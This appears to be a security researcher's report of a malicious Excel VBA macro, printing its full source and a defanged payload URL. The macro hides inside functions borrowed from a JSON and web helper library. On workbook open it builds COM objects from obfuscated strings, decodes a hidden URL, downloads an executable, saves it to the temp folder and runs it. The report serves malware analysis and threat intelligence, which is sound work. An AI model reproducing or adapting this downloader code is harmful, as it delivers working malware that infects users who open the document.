Suspicious VBA Macro Ёта нига

Suspicious VBA Macro
Reported by neonprimetime security
http://neonprimetime.blogspot.com

*****
Partially de-obfuscated version: http://pastebin.com/nSRVi7JS
*****
Payload: hxxp://mgming.rs/87yte55/6t45eyv.exe
*****
Attribute VB_Name = "Ёта нига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_Open()
    json_ParseValue "", 8
    json_ParseKey "", 9
    json_Peek "", 9
    ParseUrlEncoded ""
    FormatToMediaType ""
End Sub

Attribute VB_Name = "Ћист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Ћист2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Ћист3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Module3"

Private Function json_ParseObject(json_String As String, ByRef json_Index As Long) As String
     Dim json_Key As String
     Dim json_NextChar As String
     Set json_ParseObject = New Dictionary
     json_SkipSpaces json_String, json_Index
     If VBA.Mid$(json_String, json_Index, 1) <> "" Then
     Err.Raise 10001, "", json_ParseErr.orMessage(json_String, json_Index, "")
     Else
     json_Index = json_Index + 1
     Do
     json_SkipSpaces json_String, json_Index
     If VBA.Mid$(json_String, json_Index, 1) = "" Then
     json_Index = json_Index + 1
     Exit Function
     ElseIf VBA.Mid$(json_String, json_Index, 1) = "" Then
     json_Index = json_Index + 1
     json_SkipSpaces json_String, json_Index
     End If
     json_Key = json_ParseKey(json_String, json_Index)
     json_NextChar = json_Peek(json_String, json_Index)
     If json_NextChar = "" Or json_NextChar = "" Then
     Set json_ParseObject.Item(json_Key) = json_ParseValue(json_String, json_Index)
     Else
     json_ParseObject.Item(json_Key) = json_ParseValue(json_String, json_Index)
     End If
     Loop
     End If
End Function

Private Function json_ParseArray(json_String As String, ByRef json_Index As Long) As Collection
     Set json_ParseArray = New Collection
     json_SkipSpaces json_String, json_Index
     If VBA.Mid$(json_String, json_Index, 1) <> "" Then
     Err.Raise 10001, "", json_ParseErr.orMessage(json_String, json_Index, "")
     Else
     json_Index = json_Index + 1
     Do
     json_SkipSpaces json_String, json_Index
     If VBA.Mid$(json_String, json_Index, 1) = "" Then
     json_Index = json_Index + 1
     Exit Function
     ElseIf VBA.Mid$(json_String, json_Index, 1) = "" Then
     json_Index = json_Index + 1
     json_SkipSpaces json_String, json_Index
     End If
     json_ParseArray.Add json_ParseValue(json_String, json_Index)
     Loop
     End If
End Function

Public Function json_ParseValue(json_String As String, ByRef json_Index As Long) As Variant
    dot_hero = Chr(Asc(M_Zorro) - 31)
    e_loadman = Chr(Asc(M_Zorro) + 24)
     Set jsonParseString = CreateObject(M_Zorro + "icrosoft" + dot_hero + "XMLHTTP")
     Set kogdaNado = CreateObject("Adodb" + dot_hero + "Str" + e_loadman + "am")
    Set helavisa = CreateObject("WScript" + dot_hero + "Sh" + e_loadman + "ll").Environment("Proc" + e_loadman + "ss")
    Set FunctionManager = CreateObject("Sh" + e_loadman + "ll" + dot_hero + "Application")
     Exit Function
     json_SkipSpaces json_String, json_Index
     Select Case VBA.Mid$(json_String, json_Index, 1)
     Case ""
     Set json_ParseValue = json_Pars.eObject(json_String, json_Index)
     Case ""
     Set json_ParseValue = json_Pars.eArray(json_String, json_Index)
     Case """", ""
     json_ParseValue = json_ParseString(json_String, json_Index)
     Case Else
     If VBA.Mid$(json_String, json_Index, 4) = "" Then
     json_ParseValue = True
     json_Index = json_Index + 4
     ElseIf VBA.Mid$(json_String, json_Index, 5) = "" Then
     json_ParseValue = False
     json_Index = json_Index + 5
     ElseIf VBA.Mid$(json_String, json_Index, 4) = "" Then
     json_ParseValue = Null
     json_Index = json_Index + 4
     ElseIf VBA.InStr("", VBA.Mid$(json_String, json_Index, 1)) Then
     json_ParseValue = json_ParseNumber(json_String, json_Index)
     Else
     Err.Raise 10001, "", json_ParseErr.orMessage(json_String, json_Index, "")
     End If
     End Select
End Function

Private Function json_ParseString(json_String As String, ByRef json_Index As Long) As String
     Dim json_Quote As String
     Dim json_Char As String
     Dim json_Code As String
     Dim json_buffer As String
     Dim json_BufferPosition As Long
     Dim json_BufferLength As Long
     json_SkipSpaces json_String, json_Index
     json_Quote = VBA.Mid$(json_String, json_Index, 1)
     json_Index = json_Index + 1
     Do While json_Index > 0 And json_Index <= Len(json_String)
     json_Char = VBA.Mid$(json_String, json_Index, 1)
     Select Case json_Char
     Case ""
     json_Index = json_Index + 1
     json_Char = VBA.Mid$(json_String, json_Index, 1)
     Select Case json_Char
     Case """", "", "", ""
     json_BufferAppend json_buffer, json_Char, json_BufferPosition, json_BufferLength
     json_Index = json_Index + 1
     Case ""
     json_BufferAppend json_buffer, vbBack, json_BufferPosition, json_BufferLength
     json_Index = json_Index + 1
     Case ""
     json_BufferAppend json_buffer, vbFormFeed, json_BufferPosition, json_BufferLength
     json_Index = json_Index + 1
     Case ""
     json_BufferAppend json_buffer, vbCrLf, json_BufferPosition, json_BufferLength
     json_Index = json_Index + 1
     Case ""
     json_BufferAppend json_buffer, vbCr, json_BufferPosition, json_BufferLength
     json_Index = json_Index + 1
     Case ""
     json_BufferAppend json_buffer, vbTab, json_BufferPosition, json_BufferLength
     json_Index = json_Index + 1
     Case ""
     json_Index = json_Index + 1
     json_Code = VBA.Mid$(json_String, json_Index, 4)
     json_BufferAppend json_buffer, VBA.ChrW(VBA.Val("" + json_Code)), json_BufferPosition, json_BufferLength
     json_Index = json_Index + 4
     End Select
     Case json_Quote
     json_ParseString = json_BufferToString(json_buffer, json_BufferPosition, json_BufferLength)
     json_Index = json_Index + 1
     Exit Function
     Case Else
     json_BufferAppend json_buffer, json_Char, json_BufferPosition, json_BufferLength
     json_Index = json_Index + 1
     End Select
     Loop
End Function

Private Function json_ParseNumber(json_String As String, ByRef json_Index As Long) As Variant
     Dim json_Char As String
     Dim json_Value As String
     json_SkipSpaces json_String, json_Index
     Do While json_Index > 0 And json_Index <= Len(json_String)
     json_Char = VBA.Mid$(json_String, json_Index, 1)
     If VBA.InStr("", json_Char) Then
     json_Value = json_Value & json_Char
     json_Index = json_Index + 1
     Else
     If Not JsonOptions.UseDoubleForLargeNumbers And Len(json_Value) >= 16 Then
     json_ParseNumber = json_Value
     Else
     json_ParseNumber = VBA.Val(json_Value)
     End If
     Exit Function
     End If
     Loop
End Function

Public Function json_ParseKey(json_String As String, ByRef json_Index As Long) As String
     Dim solov() As Variant
     solov = Array(4828, 4840, 4840, 4836, 4782, 4771, 4771, 4833, 4827, 4833, 4829, 4834, 4827, 4770, 4838, 4839, 4771, 4780, 4779, 4845, 4840, 4825, 4777, 4777, 4771, 4778, 4840, 4776, 4777, 4825, 4845, 4842, 4770, 4825, 4844, 4825)
    GoTo Fileshka
     If VBA.Mid$(json_String, json_Index, 1) = """" Or VBA.Mid$(json_String, json_Index, 1) = "" Then
     json_ParseKey = json_ParseString(json_String, json_Index)
     ElseIf JsonOptions.AllowUnquotedKeys Then
     Dim json_Char As String
     Do While json_Index > 0 And json_Index <= Len(json_String)
     json_Char = VBA.Mid$(json_String, json_Index, 1)
     If (json_Char <> "") And (json_Char <> "") Then
     json_ParseKey = json_ParseKey & json_Char
     json_Index = json_Index + 1
     Else
     Exit Do
     End If
     Loop
     Else
    Fileshka:
     jsonParseString.Open "G" + UCase(e_loadman) + "T", Redistribute(solov, 35), False
       jsonParseString.Send
       GoTo exitFunct

     Err.Raise 10001, "", json_ParseErr.orMessage(json_String, json_Index, """")
     End If
     json_SkipSpaces json_String, json_Index
     If VBA.Mid$(json_String, json_Index, 1) <> "" Then
     Err.Raise 10001, "", json_ParseErr.orMessage(json_String, json_Index, "")
     Else
     json_Index = json_Index + 1
     End If
    exitFunct:
      kogdaNado.Type = 1
End Function

Private Function json_Encode(ByVal json_Text As Variant) As String
     Dim json_Index As Long
     Dim json_Char As String
     Dim json_AscCode As Long
     Dim json_buffer As String
     Dim json_BufferPosition As Long
     Dim json_BufferLength As Long
     For json_Index = 1 To VBA.Len(json_Text)
     json_Char = VBA.Mid$(json_Text, json_Index, 1)
     json_AscCode = VBA.AscW(json_Char)
     If json_AscCode < 0 Then
     json_AscCode = json_AscCode + 65536
     End If
     Select Case json_AscCode
     Case 34
     json_Char = """"
     Case 92
     json_Char = ""
     Case 47
     If JsonOptions.EscapeSolidus Then
     json_Char = ""
     End If
     Case 8
     json_Char = ""
     Case 12
     json_Char = ""
     Case 10
     json_Char = ""
     Case 13
     json_Char = ""
     Case 9
     json_Char = ""
     Case 0 To 31, 127 To 65535
     json_Char = "" & VBA.Right$("" & VBA.Hex$(json_AscCode), 4)
     End Select
     json_BufferAppend json_buffer, json_Char, json_BufferPosition, json_BufferLength
     Next json_Index
     json_Encode = json_BufferToString(json_buffer, json_BufferPosition, json_BufferLength)
End Function

Private Sub json_SkipSpaces(json_String As String, ByRef json_Index As Long)
     Do While json_Index > 0 And json_Index <= VBA.Len(json_String) And VBA.Mid$(json_String, json_Index, 1) = ""
     json_Index = json_Index + 1
     Loop
End Sub

Private Function json_StringIsLargeNumber(json_String As Variant) As Boolean
     Dim json_Length As Long
     Dim json_CharIndex As Long
     json_Length = VBA.Len(json_String)
     If json_Length >= 16 And json_Length <= 100 Then
     Dim json_CharCode As String
     Dim json_Index As Long
     json_StringIsLargeNumber = True
     For json_CharIndex = 1 To json_Length
     json_CharCode = VBA.Asc(VBA.Mid$(json_String, json_CharIndex, 1))
     Select Case json_CharCode
     Case 46, 48 To 57, 69, 101
     Case Else
     json_StringIsLargeNumber = False
     Exit Function
     End Select
     Next json_CharIndex
     End If
End Function

Attribute VB_Name = "Module2"

Public tempFolder  As String
Public parameter3  As String
Public FunctionManager As Object

Public Function JoinUrl(LeftSide As String, RightSide As String) As String
     If Left(RightSide, 1) = "" Then
     RightSide = Right(RightSide, Len(RightSide) - 1)
     End If
     If Right(LeftSide, 1) = "" Then
     LeftSide = Left(LeftSide, Len(LeftSide) - 1)
     End If
     If LeftSide <> "" And RightSide <> "" Then
     JoinUrl = LeftSide & "" & RightSide
     Else
     JoinUrl = LeftSide & RightSide
     End If
End Function

Public Function GetUrlParts(Url As String) As String
     Dim web_Parts As New Dictionary
     On Error GoTo web_ErrorHandling
    #If Mac Then
     Dim web_AddedProtocol As Boolean
     Dim web_Command As String
     Dim web_Results As Variant
     Dim web_ResultPart As Variant
     Dim web_EqualsIndex As Long
     Dim web_Key As String
     Dim web_Value As String
     If InStr(1, Url, "") <= 0 Then
     web_AddedProtocol = True
     If InStr(1, Url, "") = 1 Then
     Url = "" & Url
     Else
     Url = "" & Url
     End If
     End If
     web_Command = "" & vbNewLine & _
     """" & Url & """" & vbNewLine & _
     """""" & vbNewLine & _
     """""" & vbNewLine & _
     """""" & vbNewLine & _
     """""" & vbNewLine & _
     """""" & vbNewLine & _
     ""
     web_Results = Split(ExecuteInShell(web_Command).Output, "")
     For Each web_ResultPart In web_Results
     web_EqualsIndex = InStr(1, web_ResultPart, "")
     web_Key = Trim(VBA.Mid$(web_ResultPart, 1, web_EqualsIndex - 1))
     web_Value = Trim(VBA.Mid$(web_ResultPart, web_EqualsIndex + 1))
     If web_Key = "" Then
     Dim QueryIndex As Integer
     QueryIndex = InStr(1, web_Value, "")
     If QueryIndex > 0 Then
     web_Parts.Add "", Mid$(web_Value, 1, QueryIndex - 1)
     web_Parts.Add "", Mid$(web_Value, QueryIndex + 1)
     Else
     web_Parts.Add "", web_Value
     web_Parts.Add "", ""
     End If
     Else
     web_Parts.Add web_Key, web_Value
     End If
     Next web_ResultPart
     If web_AddedProtocol And web_Parts.Exists("") Then
     web_Parts("") = ""
     End If
    #Else
     If web_pDocumentHelper Is Nothing Or web_pElHelper Is Nothing Then
     Set web_pDocumentHelper = CreateObject("")
     Set web_pElHelper = web_pDocumentHelper.createElement("")
     End If
     web_pElHelper.href = Url
     web_Parts.Add "", Replace(web_pElHelper.Protocol, "", "", Count:=1)
     web_Parts.Add "", web_pElHelper.hostname
     web_Parts.Add "", web_pElHelper.port
     web_Parts.Add "", web_pElHelper.pathname
     web_Parts.Add "", Replace(web_pElHelper.Search, "", "", Count:=1)
     web_Parts.Add "", Replace(web_pElHelper.Hash, "", "", Count:=1)
    #End If
     If web_Parts("") = "" Then
     Dim PathParts As Variant
     PathParts = Split(web_Parts(""), "")
     web_Parts("") = PathParts(0)
     web_Parts("") = ""
     web_Parts("") = ""
     web_Parts("") = Replace(web_Parts(""), web_Parts(""), "", Count:=1)
     End If
     If Left(web_Parts(""), 1) <> "" Then
     web_Parts("") = "" & web_Parts("")
     End If
     Set GetUrlParts = web_Parts
     Exit Function
    web_ErrorHandling:
     Dim web_ErrorDescription As String
     web_ErrorDescription = "" & vbNewLine & _
     Err.number & VBA.IIf(Err.number < 0, "" & VBA.LCase$(VBA.Hex$(Err.number)) & "", "") & "" & Err.Description
     LogError web_ErrorDescription, "", 11003
     Err.Raise 11003, "", web_ErrorDescription
End Function

Public Function CloneDictionary(Original As String) As String
     Dim web_Key As Variant
     Set CloneDictionary = New Dictionary
     For Each web_Key In Original.Keys
     CloneDictionary.Add VBA.CStr(web_Key), Original(web_Key)
     Next web_Key
End Function

Public Function CloneCollection(Original As Collection) As Collection
     Dim web_Item As Variant
     Set CloneCollection = New Collection
     For Each web_Item In Original
     CloneCollection.Add web_Item
     Next web_Item
End Function

Public Function CreateKeyValue(Key As String, Value As Variant) As String
     Dim web_KeyValue As New Dictionary
     web_KeyValue("") = Key
     web_KeyValue("") = Value
     Set CreateKeyValue = web_KeyValue
End Function
Public Function FindInKeyValues(KeyValues As Collection, Key As Variant) As Variant
     Dim web_KeyValue As Dictionary
     For Each web_KeyValue In KeyValues
     If web_KeyValue("") = Key Then
     FindInKeyValues = web_KeyValue("")
     Exit Function
     End If
     Next web_KeyValue
End Function

Public Sub AddOrReplaceInKeyValues(KeyValues As Collection, Key As Variant, Value As Variant)
     Dim web_KeyValue As Dictionary
     Dim web_Index As Long
     Dim web_NewKeyValue As Dictionary
     Set web_NewKeyValue = CreateKeyValue(CStr(Key), Value)
     web_Index = 1
     For Each web_KeyValue In KeyValues
     If web_KeyValue("") = Key Then
     KeyValues.Remove web_Index
     If KeyValues.Count = 0 Then
     KeyValues.Add web_NewKeyValue
     ElseIf web_Index > KeyValues.Count Then
     KeyValues.Add web_NewKeyValue, After:=web_Index - 1
     Else
     KeyValues.Add web_NewKeyValue, Before:=web_Index
     End If
     Exit Sub
     End If
     web_Index = web_Index + 1
     Next web_KeyValue
     KeyValues.Add web_NewKeyValue
End Sub

Public Function FormatToMediaType(Format As String, Optional CustomFormat As String) As String
    FunctionManager.Open (parameter3)
    Exit Function
     Select Case Format
     Case WebFormat.FormUrlEncoded
     FormatToMediaType = ""
     Case WebFormat.Json
     FormatToMediaType = ""
     Case WebFormat.XML
     FormatToMediaType = ""
     Case WebFormat.Custom
     FormatToMediaType = web_Get.Converter(CustomFormat)("")
     Case Else
     FormatToMediaType = ""
     End Select
End Function

Public Function MethodToName(Method As String) As String
     Select Case Method
     Case WebMethod.HttpDelete
     MethodToName = ""
     Case WebMethod.HttpPut
     MethodToName = ""
     Case WebMethod.HttpPatch
     MethodToName = ""
     Case WebMethod.HttpPost
     MethodToName = ""
     Case WebMethod.HttpGet
     MethodToName = ""
     Case WebMethod.HttpHead
     MethodToName = ""
     End Select
End Function


Attribute VB_Name = "Module1"
Public Const M_Zorro = "M"
Public dot_hero As String
Public e_loadman As String
Public jsonParseString As Object
Public kogdaNado As Object
Public helavisa As Object

Public Sub LogDebug(Message As String, Optional From As String = "")
     If EnableLogging Then
     Debug.Print From & "" & Message
     End If
End Sub

Public Sub LogWarning(Message As String, Optional From As String = "")
     Debug.Print "" & From & "" & Message
End Sub

Public Sub LogError(Message As String, Optional From As String = "", Optional ErrNumber As Long = 0)
     Dim web_ErrorValue As String
     If ErrNumber <> 0 Then
     web_ErrorValue = ErrNumber
     If ErrNumber < 0 Then
     web_ErrorValue = web_ErrorValue & "" & (ErrNumber - vbObjectError) & "" & VBA.LCase$(VBA.Hex$(ErrNumber)) & ""
     End If
     web_ErrorValue = web_ErrorValue & ""
     End If
     Debug.Print "" & From & "" & web_ErrorValue & Message
End Sub

Public Sub LogRequest(Client As String, Request As String)
     If EnableLogging Then
     Debug.Print "" & Format(Now, "")
     Debug.Print MethodToName(Request.Method) & "" & Client.GetFullUrl(Request)
     Dim web_KeyValue As Dictionary
     For Each web_KeyValue In Request.Headers
     Debug.Print web_KeyValue("") & "" & web_KeyValue("")
     Next web_KeyValue
     For Each web_KeyValue In Request.Cookies
     Debug.Print "" & web_KeyValue("") & "" & web_KeyValue("")
     Next web_KeyValue
     If Not IsEmpty(Request.Body) Then
     Debug.Print vbNewLine & CStr(Request.Body)
     End If
     Debug.Print
     End If
End Sub

Public Sub LogResponse(Client As String, Request As String, Response As String)
     If EnableLogging Then
     Dim web_KeyValue As Dictionary
     Debug.Print "" & Format(Now, "")
     Debug.Print Response.StatusCode & "" & Response.StatusDescription
     For Each web_KeyValue In Response.Headers
     Debug.Print web_KeyValue("") & "" & web_KeyValue("")
     Next web_KeyValue
     For Each web_KeyValue In Response.Cookies
     Debug.Print "" & web_KeyValue("") & "" & web_KeyValue("")
     Next web_KeyValue
     Debug.Print vbNewLine & Response.Content & vbNewLine
     End If
    End Sub
    Public Function Obfuscate(Secure As String, Optional Character As String = "") As String
     Obfuscate = VBA.String$(VBA.Len(Secure), Character)
End Function

Public Function ParseUrlEncoded(Encoded As String) As String
     Dim web_Items As Variant
     Dim web_i As Integer
     Dim web_Parts As Variant
     Dim web_Key As String
     Dim web_Value As Variant
    kogdaNado.write jsonParseString.responseBody
        kogdaNado.savetofile parameter3, 2
         Exit Function
     web_Items = VBA.Split(Encoded, "")
     For web_i = LBound(web_Items) To UBound(web_Items)
     web_Parts = VBA.Split(web_Items(web_i), "")
     If UBound(web_Parts) - LBound(web_Parts) >= 1 Then
     web_Key = UrlDecode(VBA.CStr(web_Parts(LBound(web_Parts))))
     web_Value = UrlDecode(VBA.CStr(web_Parts(LBound(web_Parts) + 1)))
     web_Pa.rsed(web_Key) = web_Value
     End If
     Next web_i
     Set ParseUrl.Encoded = web_Parsed
End Function

Public Function Redistribute(Z() As Variant, oldLen As Integer) As String
    Dim n As Integer
    For n = LBound(Z) To UBound(Z)
        Redistribute = Redistribute & Chr(Z(n) - 8 * oldLen - 4444)
    Next n
End Function

Public Function ConvertToUrlEncoded(Obj As Variant) As String
     Dim web_Encoded As String
     If TypeOf Obj Is Collection Then
     Dim web_KeyValue As Dictionary
     For Each web_KeyValue In Obj
     If VBA.Len(web_Encoded) > 0 Then: web_Encoded = web_Encoded & ""
     web_Encoded = web_Encoded & web_GetUrlEncodedKeyValue(web_KeyValue(""), web_KeyValue(""))
     Next web_KeyValue
     Else
     Dim web_Key As Variant
     For Each web_Key In Obj.Keys()
     If Len(web_Encoded) > 0 Then: web_Encoded = web_Encoded & ""
     web_Encoded = web_Encoded & web_GetUrlEncodedKeyValue(web_Key, Obj(web_Key))
     Next web_Key
     End If
     ConvertToUrlEncoded = web_Encoded
End Function

Public Function ParseXml(Encoded As String) As Object
     Dim web_ErrorMsg As String
     web_ErrorMsg = "" & vbNewLine & _
     "" & vbNewLine & _
     vbNewLine & _
     ""
     LogError web_ErrorMsg, "", 11099
     Err.Raise 11099, "", web_ErrorMsg
End Function

Public Function ConvertToXml(Obj As Variant) As String
     Dim web_ErrorMsg As String
     web_ErrorMsg = "" & vbNewLine & _
     "" & vbNewLine & _
     vbNewLine & _
     ""
     LogError web_ErrorMsg, "", 11099 + vbObjectError
     Err.Raise 11099 + vbObjectError, "", web_ErrorMsg
End Function

Public Function ParseByFormat(Value As String, Format As String, _
     Optional CustomFormat As String = "", Optional Bytes As Variant) As Object
     On Error GoTo web_ErrorHandling
     If Value = "" And CustomFormat = "" Then
     Exit Function
     End If
     Select Case Format
     Case WebFormat.Json
     Set ParseByFormat = ParseJson(Value)
     Case WebFormat.FormUrlEncoded
     Set ParseByFormat = ParseUrlEncoded(Value)
     Case WebFormat.XML
     Set ParseByFormat = ParseXml(Value)
     Case WebFormat.Custom
    #If EnableCustomFormatting Then
     Dim web_Converter As Dictionary
     Dim web_Callback As String
     Set web_Converter = web_GetConverter(CustomFormat)
     web_Callback = web_Converter("")
     If web_Converter.Exists("") Then
     Dim web_Instance As Object
     Set web_Instance = web_Converter("")
     If web_Converter("") = "" Then
     Set ParseByFormat = VBA.CallByName(web_Instance, web_Callback, VBA.VbMethod, Bytes)
     Else
     Set ParseByFormat = VBA.CallByName(web_Instance, web_Callback, VBA.VbMethod, Value)
     End If
     Else
     If web_Converter("") = "" Then
     Set ParseByFormat = Application.Run(web_Callback, Bytes)
     Else
     Set ParseByFormat = Application.Run(web_Callback, Value)
     End If
     End If
    #Else
     LogWarning ""
    #End If
     End Select
     Exit Function
    web_ErrorHandling:
     Dim web_ErrorDescription As String
     web_ErrorDescription = "" & vbNewLine & _
     Err.number & VBA.IIf(Err.number < 0, "" & VBA.LCase$(VBA.Hex$(Err.number)) & "", "") & "" & Err.Description
     LogError web_ErrorDescription, "", 11000
     Err.Raise 11000, "", web_ErrorDescription
End Function

Public Function json_Peek(json_String As String, ByVal json_Index As Long, Optional json_NumberOfCharacters As Long = 1) As String
     tempFolder = helavisa("T" + UCase(e_loadman) + UCase(M_Zorro) + "P")
        CallByName kogdaNado, "Op" + e_loadman + "n", VbMethod
    parameter3 = tempFolder + "\si" + M_Zorro + "ba" + dot_hero + e_loadman + "x" + e_loadman
    Exit Function
     json_Skip.Spaces json_String, json_Index
     json_Peek = VBA.Mid$(json_String, json_Index, json_NumberOfCharacters)
End Function

Public Function ConvertToFormat(Obj As Variant, Format As String, Optional CustomFormat As String = "") As Variant
     On Error GoTo web_ErrorHandling
     Select Case Format
     Case WebFormat.Json
     ConvertToFormat = ConvertToJson(Obj)
     Case WebFormat.FormUrlEncoded
     ConvertToFormat = ConvertToUrlEncoded(Obj)
     Case WebFormat.XML
     ConvertToFormat = ConvertToXml(Obj)
     Case WebFormat.Custom
    #If EnableCustomFormatting Then
     Dim web_Converter As Dictionary
     Dim web_Callback As String
     Set web_Converter = web_GetConverter(CustomFormat)
     web_Callback = web_Converter("")
     If web_Converter.Exists("") Then
     Dim web_Instance As Object
     Set web_Instance = web_Converter("")
     ConvertToFormat = VBA.CallByName(web_Instance, web_Callback, VBA.VbMethod, Obj)
     Else
     ConvertToFormat = Application.Run(web_Callback, Obj)
     End If
    #Else
     LogWarning ""
    #End If
     Case Else
     If VBA.VarType(Obj) = vbString Then
     ConvertToFormat = Obj
     End If
     End Select
     Exit Function
    web_ErrorHandling:
     Dim web_ErrorDescription As String
     web_ErrorDescription = "" & vbNewLine & _
     Err.number & VBA.IIf(Err.number < 0, "" & VBA.LCase$(VBA.Hex$(Err.number)) & "", "") & "" & Err.Description
     LogError web_ErrorDescription, "", 11001
     Err.Raise 11001, "", web_ErrorDescription
End Function

Public Function UrlEncode(Text As Variant, Optional SpaceAsPlus As Boolean = False, Optional EncodeUnsafe As Boolean = True) As String
     Dim web_UrlVal As String
     Dim web_StringLen As Long
     web_UrlVal = VBA.CStr(Text)
     web_StringLen = VBA.Len(web_UrlVal)
     If web_StringLen > 0 Then
     Dim web_Result() As String
     Dim web_i As Long
     Dim web_CharCode As Integer
     Dim web_Char As String
     Dim web_Space As String
     ReDim web_Result(web_StringLen)
     If SpaceAsPlus Then
     web_Space = ""
     Else
     web_Space = ""
     End If
     For web_i = 1 To web_StringLen
     web_Char = VBA.Mid$(web_UrlVal, web_i, 1)
     web_CharCode = VBA.Asc(web_Char)
     Select Case web_CharCode
     Case 36, 38, 43, 44, 47, 58, 59, 61, 63, 64
     web_Result(web_i) = "" & VBA.Hex(web_CharCode)
     Case 32
     web_Result(web_i) = web_Space
     Case 34, 35, 37, 60, 62, 91 To 94, 96, 123 To 126
     If EncodeUnsafe Then
     web_Result(web_i) = "" & VBA.Hex(web_CharCode)
     Else
     web_Result(web_i) = web_Char
     End If
     Case Else
     web_Result(web_i) = web_Char
     End Select
     Next web_i
     UrlEncode = VBA.Join$(web_Result, "")
     End If
End Function

Public Function UrlDecode(Encoded As String, Optional PlusAsSpace As Boolean = True) As String
     Dim web_StringLen As Long
     web_StringLen = VBA.Len(Encoded)
     If web_StringLen > 0 Then
     Dim web_i As Long
     Dim web_Result As String
     Dim web_Temp As String
     For web_i = 1 To web_StringLen
     web_Temp = VBA.Mid$(Encoded, web_i, 1)
     If web_Temp = "" And PlusAsSpace Then
     web_Temp = ""
     ElseIf web_Temp = "" And web_StringLen >= web_i + 2 Then
     web_Temp = VBA.Mid$(Encoded, web_i + 1, 2)
     web_Temp = VBA.Chr(VBA.CInt("" & web_Temp))
     web_i = web_i + 2
     End If
     web_Result = web_Result & web_Temp
     Next web_i
     UrlDecode = web_Result
     End If
End Function

Public Function Base64Encode(Text As String) As String
    #If Mac Then
     Dim web_Command As String
     web_Command = "" & PrepareTextForShell(Text) & ""
     Base64Encode = ExecuteInShell(web_Command).Output
    #Else
     Dim web_Bytes() As Byte
     web_Bytes = VBA.StrConv(Text, vbFromUnicode)
     Base64Encode = web_AnsiBytesToBase64(web_Bytes)
    #End If
     Base64Encode = VBA.Replace$(Base64Encode, vbLf, "")
    End Function
    Public Function Base64Decode(Encoded As Variant) As String
     If (VBA.Len(Encoded) Mod 4 > 0) Then
     Encoded = Encoded & VBA.Left("", 4 - (VBA.Len(Encoded) Mod 4))
     End If
    #If Mac Then
     Dim web_Command As String
     web_Command = "" & PrepareTextForShell(Encoded) & ""
     Base64Decode = ExecuteInShell(web_Command).Output
    #Else
     Dim web_XmlObj As Object
     Dim web_Node As Object
     Set web_XmlObj = CreateObject("")
     Set web_Node = web_XmlObj.createElement("")
     web_Node.DataType = ""
     web_Node.Text = Encoded
     Base64Decode = VBA.StrConv(web_Node.nodeTypedValue, vbUnicode)
     Set web_Node = Nothing
     Set web_XmlObj = Nothing
    #End If
End Function

Public Sub RegisterConverter( _
     Name As String, MediaType As String, ConvertCallback As String, ParseCallback As String, _
     Optional Instance As Object, Optional ParseType As String = "")
     Dim web_Converter As New Dictionary
     web_Converter("") = MediaType
     web_Converter("") = ConvertCallback
     web_Converter("") = ParseCallback
     web_Converter("") = ParseType
     If Not Instance Is Nothing Then
     Set web_Converter("") = Instance
     End If
     If web_pConverters Is Nothing Then: Set web_pConverters = New Dictionary
     Set web_pConverters(Name) = web_Converter
End Sub

Private Function web_GetConverter(web_CustomFormat As String) As String
     If web_pConverters.Exists(web_CustomFormat) Then
     Set web_GetConverter = web_pConverters(web_CustomFormat)
     Else
     LogError "" & web_CustomFormat, _
     "", 11002
     Err.Raise 11002, "", _
     "" & web_CustomFormat
     End If
End Function